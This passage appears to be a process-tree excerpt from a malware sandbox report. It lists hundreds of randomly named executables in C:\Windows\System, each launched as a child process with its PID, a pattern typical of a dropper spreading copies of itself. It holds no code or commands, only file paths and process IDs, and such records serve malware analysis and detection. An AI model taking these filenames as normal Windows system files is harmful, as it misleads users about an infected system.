  C:\Windows\System\VDykgGc.exe
  2⤵
  PID:12088
- C:\Windows\System\gwTwepz.exe
  C:\Windows\System\gwTwepz.exe
  2⤵
  PID:11804
- C:\Windows\System\sgRrITs.exe
  C:\Windows\System\sgRrITs.exe
  2⤵
  PID:10376
- C:\Windows\System\FsvOpAX.exe
  C:\Windows\System\FsvOpAX.exe
  2⤵
  PID:11196
- C:\Windows\System\KVTIuzl.exe
  C:\Windows\System\KVTIuzl.exe
  2⤵
  PID:12040
- C:\Windows\System\XBEEZlf.exe
  C:\Windows\System\XBEEZlf.exe
  2⤵
  PID:11240
- C:\Windows\System\VIIPyyW.exe
  C:\Windows\System\VIIPyyW.exe
  2⤵
  PID:11448
- C:\Windows\System\LLAVqYa.exe
  C:\Windows\System\LLAVqYa.exe
  2⤵
  PID:4400
- C:\Windows\System\qwrVPgV.exe
  C:\Windows\System\qwrVPgV.exe
  2⤵
  PID:11824
- C:\Windows\System\pfJIAed.exe
  C:\Windows\System\pfJIAed.exe
  2⤵
  PID:12376
- C:\Windows\System\DOUdmVT.exe
  C:\Windows\System\DOUdmVT.exe
  2⤵
  PID:12416
- C:\Windows\System\lWAcxGT.exe
  C:\Windows\System\lWAcxGT.exe
  2⤵
  PID:12396
- C:\Windows\System\MgDgKcp.exe
  C:\Windows\System\MgDgKcp.exe
  2⤵
  PID:12584
- C:\Windows\System\HfwgpPu.exe
  C:\Windows\System\HfwgpPu.exe
  2⤵
  PID:12616
- C:\Windows\System\Lvdbijm.exe
  C:\Windows\System\Lvdbijm.exe
  2⤵
  PID:12640
- C:\Windows\System\BJLMPwx.exe
  C:\Windows\System\BJLMPwx.exe
  2⤵
  PID:12704
- C:\Windows\System\AnKZuDR.exe
  C:\Windows\System\AnKZuDR.exe
  2⤵
  PID:12728
- C:\Windows\System\zhAVOtS.exe
  C:\Windows\System\zhAVOtS.exe
  2⤵
  PID:12684
- C:\Windows\System\sGxSinr.exe
  C:\Windows\System\sGxSinr.exe
  2⤵
  PID:12660
- C:\Windows\System\iMzisBd.exe
  C:\Windows\System\iMzisBd.exe
  2⤵
  PID:12748
- C:\Windows\System\QgxdWCu.exe
  C:\Windows\System\QgxdWCu.exe
  2⤵
  PID:12800
- C:\Windows\System\VQrYCVB.exe
  C:\Windows\System\VQrYCVB.exe
  2⤵
  PID:12824
- C:\Windows\System\iKJWQdg.exe
  C:\Windows\System\iKJWQdg.exe
  2⤵
  PID:12848
- C:\Windows\System\bUKnTtv.exe
  C:\Windows\System\bUKnTtv.exe
  2⤵
  PID:12920
- C:\Windows\System\YwbLlku.exe
  C:\Windows\System\YwbLlku.exe
  2⤵
  PID:12936
- C:\Windows\System\erDGcQD.exe
  C:\Windows\System\erDGcQD.exe
  2⤵
  PID:12956
- C:\Windows\System\UHHDavX.exe
  C:\Windows\System\UHHDavX.exe
  2⤵
  PID:12988
- C:\Windows\System\dTwRZoM.exe
  C:\Windows\System\dTwRZoM.exe
  2⤵
  PID:13032
- C:\Windows\System\hzfkLsQ.exe
  C:\Windows\System\hzfkLsQ.exe
  2⤵
  PID:13072
- C:\Windows\System\RLwHVXl.exe
  C:\Windows\System\RLwHVXl.exe
  2⤵
  PID:13144
- C:\Windows\System\ThoSiye.exe
  C:\Windows\System\ThoSiye.exe
  2⤵
  PID:13204
- C:\Windows\System\bgNUUuO.exe
  C:\Windows\System\bgNUUuO.exe
  2⤵
  PID:13176
- C:\Windows\System\gXcoiMW.exe
  C:\Windows\System\gXcoiMW.exe
  2⤵
  PID:13224
- C:\Windows\System\nonMNbK.exe
  C:\Windows\System\nonMNbK.exe
  2⤵
  PID:13252
- C:\Windows\System\yZCKJDa.exe
  C:\Windows\System\yZCKJDa.exe
  2⤵
  PID:13288
- C:\Windows\System\BVRSyAB.exe
  C:\Windows\System\BVRSyAB.exe
  2⤵
  PID:12364
- C:\Windows\System\qdMlXIi.exe
  C:\Windows\System\qdMlXIi.exe
  2⤵
  PID:12536
- C:\Windows\System\LwohyNO.exe
  C:\Windows\System\LwohyNO.exe
  2⤵
  PID:12600
- C:\Windows\System\tubctNG.exe
  C:\Windows\System\tubctNG.exe
  2⤵
  PID:12668
- C:\Windows\System\WclVJuR.exe
  C:\Windows\System\WclVJuR.exe
  2⤵
  PID:12672
- C:\Windows\System\adcPcxi.exe
  C:\Windows\System\adcPcxi.exe
  2⤵
  PID:12876
- C:\Windows\System\FcwffOz.exe
  C:\Windows\System\FcwffOz.exe
  2⤵
  PID:12996
- C:\Windows\System\JfuJEMi.exe
  C:\Windows\System\JfuJEMi.exe
  2⤵
  PID:13112
- C:\Windows\System\wIxanab.exe
  C:\Windows\System\wIxanab.exe
  2⤵
  PID:13160
- C:\Windows\System\wBPFtED.exe
  C:\Windows\System\wBPFtED.exe
  2⤵
  PID:4692
- C:\Windows\System\qvLJViW.exe
  C:\Windows\System\qvLJViW.exe
  2⤵
  PID:4700
- C:\Windows\System\XIXMZtO.exe
  C:\Windows\System\XIXMZtO.exe
  2⤵
  PID:13308
- C:\Windows\System\PhmFQMy.exe
  C:\Windows\System\PhmFQMy.exe
  2⤵
  PID:12296
- C:\Windows\System\ENZLPaW.exe
  C:\Windows\System\ENZLPaW.exe
  2⤵
  PID:12356
- C:\Windows\System\uelagxQ.exe
  C:\Windows\System\uelagxQ.exe
  2⤵
  PID:12412
- C:\Windows\System\luUfwCl.exe
  C:\Windows\System\luUfwCl.exe
  2⤵
  PID:12492
- C:\Windows\System\gGYwXJW.exe
  C:\Windows\System\gGYwXJW.exe
  2⤵
  PID:12516
- C:\Windows\System\HKpKMOo.exe
  C:\Windows\System\HKpKMOo.exe
  2⤵
  PID:4892
- C:\Windows\System\AYKOkRK.exe
  C:\Windows\System\AYKOkRK.exe
  2⤵
  PID:12556
- C:\Windows\System\UjGjfuh.exe
  C:\Windows\System\UjGjfuh.exe
  2⤵
  PID:12652
- C:\Windows\System\WqbpKmz.exe
  C:\Windows\System\WqbpKmz.exe
  2⤵
  PID:3332
- C:\Windows\System\IvkhXdy.exe
  C:\Windows\System\IvkhXdy.exe
  2⤵
  PID:12932
- C:\Windows\System\KcPpKRr.exe
  C:\Windows\System\KcPpKRr.exe
  2⤵
  PID:3464
- C:\Windows\System\FpexaNb.exe
  C:\Windows\System\FpexaNb.exe
  2⤵
  PID:13084
- C:\Windows\System\vOonVfl.exe
  C:\Windows\System\vOonVfl.exe
  2⤵
  PID:764
- C:\Windows\System\ssKXHlc.exe
  C:\Windows\System\ssKXHlc.exe
  2⤵
  PID:1312
- C:\Windows\System\zcNBTso.exe
  C:\Windows\System\zcNBTso.exe
  2⤵
  PID:13184
- C:\Windows\System\CTdtAPR.exe
  C:\Windows\System\CTdtAPR.exe
  2⤵
  PID:564
- C:\Windows\System\EofGsqh.exe
  C:\Windows\System\EofGsqh.exe
  2⤵
  PID:3084
- C:\Windows\System\qApfeqZ.exe
  C:\Windows\System\qApfeqZ.exe
  2⤵
  PID:12336
- C:\Windows\System\qxejVOc.exe
  C:\Windows\System\qxejVOc.exe
  2⤵
  PID:4440
- C:\Windows\System\muhYoGT.exe
  C:\Windows\System\muhYoGT.exe
  2⤵
  PID:12300
- C:\Windows\System\XEudtnR.exe
  C:\Windows\System\XEudtnR.exe
  2⤵
  PID:4512
- C:\Windows\System\pAdSthx.exe
  C:\Windows\System\pAdSthx.exe
  2⤵
  PID:12384
- C:\Windows\System\mBMRdEN.exe
  C:\Windows\System\mBMRdEN.exe
  2⤵
  PID:12452
- C:\Windows\System\sCPKRTi.exe
  C:\Windows\System\sCPKRTi.exe
  2⤵
  PID:13260
- C:\Windows\System\bBpdYcu.exe
  C:\Windows\System\bBpdYcu.exe
  2⤵
  PID:12476
- C:\Windows\System\fgyBnkX.exe
  C:\Windows\System\fgyBnkX.exe
  2⤵
  PID:5032
- C:\Windows\System\YvSmSfM.exe
  C:\Windows\System\YvSmSfM.exe
  2⤵
  PID:1944
- C:\Windows\System\vHdCWyM.exe
  C:\Windows\System\vHdCWyM.exe
  2⤵
  PID:4524
- C:\Windows\System\tCieFLc.exe
  C:\Windows\System\tCieFLc.exe
  2⤵
  PID:12716
- C:\Windows\System\QelZvJB.exe
  C:\Windows\System\QelZvJB.exe
  2⤵
  PID:12896
- C:\Windows\System\hmfwYMj.exe
  C:\Windows\System\hmfwYMj.exe
  2⤵
  PID:12972
- C:\Windows\System\tAUrQZE.exe
  C:\Windows\System\tAUrQZE.exe
  2⤵
  PID:9012
- C:\Windows\System\lkqDWxV.exe
  C:\Windows\System\lkqDWxV.exe
  2⤵
  PID:5620
- C:\Windows\System\fsvlIfb.exe
  C:\Windows\System\fsvlIfb.exe
  2⤵
  PID:3932
- C:\Windows\System\VDTPoiu.exe
  C:\Windows\System\VDTPoiu.exe
  2⤵
  PID:13132
- C:\Windows\System\UtsCjgg.exe
  C:\Windows\System\UtsCjgg.exe
  2⤵
  PID:2832
- C:\Windows\System\BNJWKUx.exe
  C:\Windows\System\BNJWKUx.exe
  2⤵
  PID:13248
- C:\Windows\System\pIRVrdO.exe
  C:\Windows\System\pIRVrdO.exe
  2⤵
  PID:12360
- C:\Windows\System\pfJwEiO.exe
  C:\Windows\System\pfJwEiO.exe
  2⤵
  PID:1700
- C:\Windows\System\jIuetII.exe
  C:\Windows\System\jIuetII.exe
  2⤵
  PID:12500
- C:\Windows\System\kEKONhY.exe
  C:\Windows\System\kEKONhY.exe
  2⤵
  PID:12572
- C:\Windows\System\ZeyyXcd.exe
  C:\Windows\System\ZeyyXcd.exe
  2⤵
  PID:5296
- C:\Windows\System\UXhclaG.exe
  C:\Windows\System\UXhclaG.exe
  2⤵
  PID:5696
- C:\Windows\System\lMAZlRf.exe
  C:\Windows\System\lMAZlRf.exe
  2⤵
  PID:5224
- C:\Windows\System\xYpOixc.exe
  C:\Windows\System\xYpOixc.exe
  2⤵
  PID:5360
- C:\Windows\System\ZAuVdwg.exe
  C:\Windows\System\ZAuVdwg.exe
  2⤵
  PID:12952
- C:\Windows\System\ylkllre.exe
  C:\Windows\System\ylkllre.exe
  2⤵
  PID:13020
- C:\Windows\System\hwAAfAf.exe
  C:\Windows\System\hwAAfAf.exe
  2⤵
  PID:13016
- C:\Windows\System\qdKmARi.exe
  C:\Windows\System\qdKmARi.exe
  2⤵
  PID:12912
- C:\Windows\System\AbbHWko.exe
  C:\Windows\System\AbbHWko.exe
  2⤵
  PID:5516
- C:\Windows\System\eiAesdv.exe
  C:\Windows\System\eiAesdv.exe
  2⤵
  PID:5988
- C:\Windows\System\HrJnIQA.exe
  C:\Windows\System\HrJnIQA.exe
  2⤵
  PID:5624
- C:\Windows\System\PZwVqqf.exe
  C:\Windows\System\PZwVqqf.exe
  2⤵
  PID:5752
- C:\Windows\System\GRESpXZ.exe
  C:\Windows\System\GRESpXZ.exe
  2⤵
  PID:6028
- C:\Windows\System\WgWKUgF.exe
  C:\Windows\System\WgWKUgF.exe
  2⤵
  PID:6088
- C:\Windows\System\xhGtIpv.exe
  C:\Windows\System\xhGtIpv.exe
  2⤵
  PID:6504
- C:\Windows\System\LNPBnIJ.exe
  C:\Windows\System\LNPBnIJ.exe
  2⤵
  PID:2716
- C:\Windows\System\nJrbnEt.exe
  C:\Windows\System\nJrbnEt.exe
  2⤵
  PID:6476
- C:\Windows\System\NNhSKPs.exe
  C:\Windows\System\NNhSKPs.exe
  2⤵
  PID:12904
- C:\Windows\System\fgIZLbW.exe
  C:\Windows\System\fgIZLbW.exe
  2⤵
  PID:6492
- C:\Windows\System\VuAkZke.exe
  C:\Windows\System\VuAkZke.exe
  2⤵
  PID:5552
- C:\Windows\System\KUxmnVe.exe
  C:\Windows\System\KUxmnVe.exe
  2⤵
  PID:6244
- C:\Windows\System\pOYYCSM.exe
  C:\Windows\System\pOYYCSM.exe
  2⤵
  PID:6580
- C:\Windows\System\OhvQygb.exe
  C:\Windows\System\OhvQygb.exe
  2⤵
  PID:6912
- C:\Windows\System\kTQegxL.exe
  C:\Windows\System\kTQegxL.exe
  2⤵
  PID:5808
- C:\Windows\System\bbslGoJ.exe
  C:\Windows\System\bbslGoJ.exe
  2⤵
  PID:7116
- C:\Windows\System\pMYfXKi.exe
  C:\Windows\System\pMYfXKi.exe
  2⤵
  PID:5300
- C:\Windows\System\HETYxmJ.exe
  C:\Windows\System\HETYxmJ.exe
  2⤵
  PID:6888
- C:\Windows\System\xLGkYCT.exe
  C:\Windows\System\xLGkYCT.exe
  2⤵
  PID:6548
- C:\Windows\System\OsyMKku.exe
  C:\Windows\System\OsyMKku.exe
  2⤵
  PID:6076
- C:\Windows\System\BfIDoii.exe
  C:\Windows\System\BfIDoii.exe
  2⤵
  PID:6096
- C:\Windows\System\TNTNQuq.exe
  C:\Windows\System\TNTNQuq.exe
  2⤵
  PID:1996
- C:\Windows\System\SZKjxca.exe
  C:\Windows\System\SZKjxca.exe
  2⤵
  PID:4876
- C:\Windows\System\BBmvLVi.exe
  C:\Windows\System\BBmvLVi.exe
  2⤵
  PID:7076
- C:\Windows\System\FQeELuD.exe
  C:\Windows\System\FQeELuD.exe
  2⤵
  PID:6400
- C:\Windows\System\RBsSzdA.exe
  C:\Windows\System\RBsSzdA.exe
  2⤵
  PID:12324
- C:\Windows\System\lGALYNM.exe
  C:\Windows\System\lGALYNM.exe
  2⤵
  PID:6428
- C:\Windows\System\RcZgulk.exe
  C:\Windows\System\RcZgulk.exe
  2⤵
  PID:4404
- C:\Windows\System\XcmngVN.exe
  C:\Windows\System\XcmngVN.exe
  2⤵
  PID:13024
- C:\Windows\System\VDRdqft.exe
  C:\Windows\System\VDRdqft.exe
  2⤵
  PID:1564
- C:\Windows\System\PEuGvyW.exe
  C:\Windows\System\PEuGvyW.exe
  2⤵
  PID:6528
- C:\Windows\System\fPrnVUt.exe
  C:\Windows\System\fPrnVUt.exe
  2⤵
  PID:4856
- C:\Windows\System\zWHQaaB.exe
  C:\Windows\System\zWHQaaB.exe
  2⤵
  PID:6760
- C:\Windows\System\DHjQbFg.exe
  C:\Windows\System\DHjQbFg.exe
  2⤵
  PID:5384
- C:\Windows\System\sEfDzpv.exe
  C:\Windows\System\sEfDzpv.exe
  2⤵
  PID:13008
- C:\Windows\System\asvyPTK.exe
  C:\Windows\System\asvyPTK.exe
  2⤵
  PID:6940
- C:\Windows\System\Lyewmwd.exe
  C:\Windows\System\Lyewmwd.exe
  2⤵
  PID:12944
- C:\Windows\System\ZyUOzIG.exe
  C:\Windows\System\ZyUOzIG.exe
  2⤵
  PID:7336
- C:\Windows\System\ntsWGNn.exe
  C:\Windows\System\ntsWGNn.exe
  2⤵
  PID:6408
- C:\Windows\System\UVyZxFS.exe
  C:\Windows\System\UVyZxFS.exe
  2⤵
  PID:6948
- C:\Windows\System\mMHuSzo.exe
  C:\Windows\System\mMHuSzo.exe
  2⤵
  PID:6952
- C:\Windows\System\hXTlyYc.exe
  C:\Windows\System\hXTlyYc.exe
  2⤵
  PID:12860
- C:\Windows\System\RvuWzba.exe
  C:\Windows\System\RvuWzba.exe
  2⤵
  PID:6612
- C:\Windows\System\Smbelcq.exe
  C:\Windows\System\Smbelcq.exe
  2⤵
  PID:5236
- C:\Windows\System\czoGUcW.exe
  C:\Windows\System\czoGUcW.exe
  2⤵
  PID:6488
- C:\Windows\System\TsGvxoR.exe
  C:\Windows\System\TsGvxoR.exe
  2⤵
  PID:6704
- C:\Windows\System\oXsSddO.exe
  C:\Windows\System\oXsSddO.exe
  2⤵
  PID:12700
- C:\Windows\System\CzjCGMs.exe
  C:\Windows\System\CzjCGMs.exe
  2⤵
  PID:1332
- C:\Windows\System\mhtZLpU.exe
  C:\Windows\System\mhtZLpU.exe
  2⤵
  PID:5420
- C:\Windows\System\xMisieG.exe
  C:\Windows\System\xMisieG.exe
  2⤵
  PID:12316
- C:\Windows\System\dIPjCsd.exe
  C:\Windows\System\dIPjCsd.exe
  2⤵
  PID:13216
- C:\Windows\System\uVxgsza.exe
  C:\Windows\System\uVxgsza.exe
  2⤵
  PID:6452
- C:\Windows\System\debwAPq.exe
  C:\Windows\System\debwAPq.exe
  2⤵
  PID:6072
- C:\Windows\System\zMPxPWi.exe
  C:\Windows\System\zMPxPWi.exe
  2⤵
  PID:8988
- C:\Windows\System\YeKUXqo.exe
  C:\Windows\System\YeKUXqo.exe
  2⤵
  PID:5632
- C:\Windows\System\QccgzWn.exe
  C:\Windows\System\QccgzWn.exe
  2⤵
  PID:5592
- C:\Windows\System\wFMMVWu.exe
  C:\Windows\System\wFMMVWu.exe
  2⤵
  PID:6040
- C:\Windows\System\Druppff.exe
  C:\Windows\System\Druppff.exe
  2⤵
  PID:3624
- C:\Windows\System\NxxfSic.exe
  C:\Windows\System\NxxfSic.exe
  2⤵
  PID:5940
- C:\Windows\System\erNsttJ.exe
  C:\Windows\System\erNsttJ.exe
  2⤵
  PID:1688
- C:\Windows\System\QnymbWU.exe
  C:\Windows\System\QnymbWU.exe
  2⤵
  PID:6204
- C:\Windows\System\ZmszuFu.exe
  C:\Windows\System\ZmszuFu.exe
  2⤵
  PID:6584
- C:\Windows\System\UaBZult.exe
  C:\Windows\System\UaBZult.exe
  2⤵
  PID:376
- C:\Windows\System\hHPFWww.exe
  C:\Windows\System\hHPFWww.exe
  2⤵
  PID:6996
- C:\Windows\System\iDqRrKD.exe
  C:\Windows\System\iDqRrKD.exe
  2⤵
  PID:6804
- C:\Windows\System\XHMYdRX.exe
  C:\Windows\System\XHMYdRX.exe
  2⤵
  PID:7792
- C:\Windows\System\QcHRHLL.exe
  C:\Windows\System\QcHRHLL.exe
  2⤵
  PID:12648
- C:\Windows\System\sMYQdJM.exe
  C:\Windows\System\sMYQdJM.exe
  2⤵
  PID:3008
- C:\Windows\System\TpcaTkM.exe
  C:\Windows\System\TpcaTkM.exe
  2⤵
  PID:6636
- C:\Windows\System\TVBhpeN.exe
  C:\Windows\System\TVBhpeN.exe
  2⤵
  PID:13156
- C:\Windows\System\FCIEQhr.exe
  C:\Windows\System\FCIEQhr.exe
  2⤵
  PID:6132
- C:\Windows\System\QsmWFSg.exe
  C:\Windows\System\QsmWFSg.exe
  2⤵
  PID:7136
- C:\Windows\System\BYhcLAu.exe
  C:\Windows\System\BYhcLAu.exe
  2⤵
  PID:5432
- C:\Windows\System\uZsEqsn.exe
  C:\Windows\System\uZsEqsn.exe
  2⤵
  PID:7380
- C:\Windows\System\mnojrAq.exe
  C:\Windows\System\mnojrAq.exe
  2⤵
  PID:8168
- C:\Windows\System\ykpzwQf.exe
  C:\Windows\System\ykpzwQf.exe
  2⤵
  PID:7988
- C:\Windows\System\iaJxYjf.exe
  C:\Windows\System\iaJxYjf.exe
  2⤵
  PID:7404
- C:\Windows\System\WyWmkgL.exe
  C:\Windows\System\WyWmkgL.exe
  2⤵
  PID:6000
- C:\Windows\System\ozJrepD.exe
  C:\Windows\System\ozJrepD.exe
  2⤵
  PID:7748
- C:\Windows\System\mEkMmFG.exe
  C:\Windows\System\mEkMmFG.exe
  2⤵
  PID:7384
- C:\Windows\System\esPWkLn.exe
  C:\Windows\System\esPWkLn.exe
  2⤵
  PID:13096
- C:\Windows\System\QZiSpWp.exe
  C:\Windows\System\QZiSpWp.exe
  2⤵
  PID:13244
- C:\Windows\System\wpPJFHg.exe
  C:\Windows\System\wpPJFHg.exe
  2⤵
  PID:6884
- C:\Windows\System\BulQlLw.exe
  C:\Windows\System\BulQlLw.exe
  2⤵
  PID:6484
- C:\Windows\System\nmPHUcB.exe
  C:\Windows\System\nmPHUcB.exe
  2⤵
  PID:7728
- C:\Windows\System\WPcKhbf.exe
  C:\Windows\System\WPcKhbf.exe
  2⤵
  PID:8036
- C:\Windows\System\aVqyQlq.exe
  C:\Windows\System\aVqyQlq.exe
  2⤵
  PID:5248
- C:\Windows\System\HfUeWiC.exe
  C:\Windows\System\HfUeWiC.exe
  2⤵
  PID:7552
- C:\Windows\System\VmKZeVX.exe
  C:\Windows\System\VmKZeVX.exe
  2⤵
  PID:6980
- C:\Windows\System\cDAgSir.exe
  C:\Windows\System\cDAgSir.exe
  2⤵
  PID:7368
- C:\Windows\System\LwbxfrD.exe
  C:\Windows\System\LwbxfrD.exe
  2⤵
  PID:7772
- C:\Windows\System\Gwvkwpc.exe
  C:\Windows\System\Gwvkwpc.exe
  2⤵
  PID:8112
- C:\Windows\System\GwzNmDx.exe
  C:\Windows\System\GwzNmDx.exe
  2⤵
  PID:5456
- C:\Windows\System\wQynwMC.exe
  C:\Windows\System\wQynwMC.exe
  2⤵
  PID:6328
- C:\Windows\System\RsdNkEt.exe
  C:\Windows\System\RsdNkEt.exe
  2⤵
  PID:8200
- C:\Windows\System\mKkXZHG.exe
  C:\Windows\System\mKkXZHG.exe
  2⤵
  PID:8344
- C:\Windows\System\WXSiRfG.exe
  C:\Windows\System\WXSiRfG.exe
  2⤵
  PID:7604
- C:\Windows\System\XkbGrkL.exe
  C:\Windows\System\XkbGrkL.exe
  2⤵
  PID:6280
- C:\Windows\System\kprlHHh.exe
  C:\Windows\System\kprlHHh.exe
  2⤵
  PID:5180
- C:\Windows\System\ZQMFPgZ.exe
  C:\Windows\System\ZQMFPgZ.exe
  2⤵
  PID:13108
- C:\Windows\System\xLYyUgg.exe
  C:\Windows\System\xLYyUgg.exe
  2⤵
  PID:2772
- C:\Windows\System\LTsjbGP.exe
  C:\Windows\System\LTsjbGP.exe
  2⤵
  PID:3928
- C:\Windows\System\DyBNkfn.exe
  C:\Windows\System\DyBNkfn.exe
  2⤵
  PID:7856
- C:\Windows\System\uVyDATf.exe
  C:\Windows\System\uVyDATf.exe
  2⤵
  PID:8508
- C:\Windows\System\JlGrPHK.exe
  C:\Windows\System\JlGrPHK.exe
  2⤵
  PID:5784
- C:\Windows\System\yhxZGkN.exe
  C:\Windows\System\yhxZGkN.exe
  2⤵
  PID:8616
- C:\Windows\System\NBodqHx.exe
  C:\Windows\System\NBodqHx.exe
  2⤵
  PID:6588
- C:\Windows\System\znGJmIv.exe
  C:\Windows\System\znGJmIv.exe
  2⤵
  PID:2216
- C:\Windows\System\ZHKuvPt.exe
  C:\Windows\System\ZHKuvPt.exe
  2⤵
  PID:8784
- C:\Windows\System\uvqFxPZ.exe
  C:\Windows\System\uvqFxPZ.exe
  2⤵
  PID:7724
- C:\Windows\System\oPceNQf.exe
  C:\Windows\System\oPceNQf.exe
  2⤵
  PID:8752
- C:\Windows\System\jYYOhKc.exe
  C:\Windows\System\jYYOhKc.exe
  2⤵
  PID:9068
- C:\Windows\System\ivjFbdc.exe
  C:\Windows\System\ivjFbdc.exe
  2⤵
  PID:9060
- C:\Windows\System\aFuditr.exe
  C:\Windows\System\aFuditr.exe
  2⤵
  PID:8912
- C:\Windows\System\PCbxBNm.exe
  C:\Windows\System\PCbxBNm.exe
  2⤵
  PID:7236
- C:\Windows\System\YwLOmiA.exe
  C:\Windows\System\YwLOmiA.exe
  2⤵
  PID:7320
- C:\Windows\System\FSuOCMY.exe
  C:\Windows\System\FSuOCMY.exe
  2⤵
  PID:8816
- C:\Windows\System\glWERLF.exe
  C:\Windows\System\glWERLF.exe
  2⤵
  PID:8504
- C:\Windows\System\tDzxmYN.exe
  C:\Windows\System\tDzxmYN.exe
  2⤵
  PID:8236
- C:\Windows\System\HWWRpBY.exe
  C:\Windows\System\HWWRpBY.exe
  2⤵
  PID:6712
- C:\Windows\System\AzNnAiR.exe
  C:\Windows\System\AzNnAiR.exe
  2⤵
  PID:8400
- C:\Windows\System\WGAafsi.exe
  C:\Windows\System\WGAafsi.exe
  2⤵
  PID:8052
- C:\Windows\System\vpXsMhY.exe
  C:\Windows\System\vpXsMhY.exe
  2⤵
  PID:7468
- C:\Windows\System\FEguCNT.exe
  C:\Windows\System\FEguCNT.exe
  2⤵
  PID:8216
- C:\Windows\System\fLqbjJF.exe
  C:\Windows\System\fLqbjJF.exe
  2⤵
  PID:4168
- C:\Windows\System\hkjXpco.exe
  C:\Windows\System\hkjXpco.exe
  2⤵
  PID:8812
- C:\Windows\System\ypyXmNu.exe
  C:\Windows\System\ypyXmNu.exe
  2⤵
  PID:9052
- C:\Windows\System\OUtcHnJ.exe
  C:\Windows\System\OUtcHnJ.exe
  2⤵
  PID:6868
- C:\Windows\System\cajynDQ.exe
  C:\Windows\System\cajynDQ.exe
  2⤵
  PID:5636
- C:\Windows\System\Ebhqxpn.exe
  C:\Windows\System\Ebhqxpn.exe
  2⤵
  PID:8560
- C:\Windows\System\njRGZBn.exe
  C:\Windows\System\njRGZBn.exe
  2⤵
  PID:8800
- C:\Windows\System\lmqCJGz.exe
  C:\Windows\System\lmqCJGz.exe
  2⤵
  PID:8484
- C:\Windows\System\YdPTHnx.exe
  C:\Windows\System\YdPTHnx.exe
  2⤵
  PID:9368
- C:\Windows\System\aQeRzLg.exe
  C:\Windows\System\aQeRzLg.exe
  2⤵
  PID:4320
- C:\Windows\System\MwWuxSr.exe
  C:\Windows\System\MwWuxSr.exe
  2⤵
  PID:9008
- C:\Windows\System\KSmFfcS.exe
  C:\Windows\System\KSmFfcS.exe
  2⤵
  PID:8876
- C:\Windows\System\FwKFzqF.exe
  C:\Windows\System\FwKFzqF.exe
  2⤵
  PID:5600
- C:\Windows\System\VBIZvjJ.exe
  C:\Windows\System\VBIZvjJ.exe
  2⤵
  PID:10564
- C:\Windows\System\gIQWFTg.exe
  C:\Windows\System\gIQWFTg.exe
  2⤵
  PID:8636
- C:\Windows\System\SAXEdPy.exe
  C:\Windows\System\SAXEdPy.exe
  2⤵
  PID:8044
- C:\Windows\System\XsrBQDx.exe
  C:\Windows\System\XsrBQDx.exe
  2⤵
  PID:8448
- C:\Windows\System\vGjousG.exe
  C:\Windows\System\vGjousG.exe
  2⤵
  PID:9808
- C:\Windows\System\MBFzNBb.exe
  C:\Windows\System\MBFzNBb.exe
  2⤵
  PID:9468
- C:\Windows\System\aPwsHNI.exe
  C:\Windows\System\aPwsHNI.exe
  2⤵
  PID:9752
- C:\Windows\System\dcafOfx.exe
  C:\Windows\System\dcafOfx.exe
  2⤵
  PID:9700
- C:\Windows\System\wEiPxyw.exe
  C:\Windows\System\wEiPxyw.exe
  2⤵
  PID:8640
- C:\Windows\System\LsHDCyY.exe
  C:\Windows\System\LsHDCyY.exe
  2⤵
  PID:9796
- C:\Windows\System\pMsVfyg.exe
  C:\Windows\System\pMsVfyg.exe
  2⤵
  PID:9768
- C:\Windows\System\mRxnBcL.exe
  C:\Windows\System\mRxnBcL.exe
  2⤵
  PID:8924
- C:\Windows\System\dbhbCEl.exe
  C:\Windows\System\dbhbCEl.exe
  2⤵
  PID:8368
- C:\Windows\System\sFibeYM.exe
  C:\Windows\System\sFibeYM.exe
  2⤵
  PID:9992
- C:\Windows\System\brnqHui.exe
  C:\Windows\System\brnqHui.exe
  2⤵
  PID:10104
- C:\Windows\System\HmoLjaP.exe
  C:\Windows\System\HmoLjaP.exe
  2⤵
  PID:8692
- C:\Windows\System\vbMNcwF.exe
  C:\Windows\System\vbMNcwF.exe
  2⤵
  PID:5648
- C:\Windows\System\PxIPtNV.exe
  C:\Windows\System\PxIPtNV.exe
  2⤵
  PID:9824
- C:\Windows\System\TJYrmDJ.exe
  C:\Windows\System\TJYrmDJ.exe
  2⤵
  PID:9608
- C:\Windows\System\zPsEMDv.exe
  C:\Windows\System\zPsEMDv.exe
  2⤵
  PID:8644
- C:\Windows\System\VZtmRWX.exe
  C:\Windows\System\VZtmRWX.exe
  2⤵
  PID:9780
- C:\Windows\System\DsFVbaG.exe
  C:\Windows\System\DsFVbaG.exe
  2⤵
  PID:9872
- C:\Windows\System\MihnIDr.exe
  C:\Windows\System\MihnIDr.exe
  2⤵
  PID:9028
- C:\Windows\System\AdQGnHg.exe
  C:\Windows\System\AdQGnHg.exe
  2⤵
  PID:8556
- C:\Windows\System\vGgijdP.exe
  C:\Windows\System\vGgijdP.exe
  2⤵
  PID:10120
- C:\Windows\System\AHbcmpY.exe
  C:\Windows\System\AHbcmpY.exe
  2⤵
  PID:9332
- C:\Windows\System\tyFXouc.exe
  C:\Windows\System\tyFXouc.exe
  2⤵
  PID:1792
- C:\Windows\System\aDWPZJL.exe
  C:\Windows\System\aDWPZJL.exe
  2⤵
  PID:9632
- C:\Windows\System\nqPiYQI.exe
  C:\Windows\System\nqPiYQI.exe
  2⤵
  PID:9256
- C:\Windows\System\BIMKwwN.exe
  C:\Windows\System\BIMKwwN.exe
  2⤵
  PID:9764
- C:\Windows\System\POKcKkI.exe
  C:\Windows\System\POKcKkI.exe
  2⤵
  PID:8412
- C:\Windows\System\tZUlYEl.exe
  C:\Windows\System\tZUlYEl.exe
  2⤵
  PID:8672
- C:\Windows\System\yoGlbaB.exe
  C:\Windows\System\yoGlbaB.exe
  2⤵
  PID:10020
- C:\Windows\System\zzKfhph.exe
  C:\Windows\System\zzKfhph.exe
  2⤵
  PID:9776
- C:\Windows\System\aIYfvWu.exe
  C:\Windows\System\aIYfvWu.exe
  2⤵
  PID:9396
- C:\Windows\System\XJibZJQ.exe
  C:\Windows\System\XJibZJQ.exe
  2⤵
  PID:3392
- C:\Windows\System\PuMSJLS.exe
  C:\Windows\System\PuMSJLS.exe
  2⤵
  PID:2280
- C:\Windows\System\dFMMaKW.exe
  C:\Windows\System\dFMMaKW.exe
  2⤵
  PID:9800
- C:\Windows\System\JqHixkg.exe
  C:\Windows\System\JqHixkg.exe
  2⤵
  PID:13320
- C:\Windows\System\OoKvazk.exe
  C:\Windows\System\OoKvazk.exe
  2⤵
  PID:10652
- C:\Windows\System\pPQICeo.exe
  C:\Windows\System\pPQICeo.exe
  2⤵
  PID:13344
- C:\Windows\System\idWTmva.exe
  C:\Windows\System\idWTmva.exe
  2⤵
  PID:13392
- C:\Windows\System\lvduAqq.exe
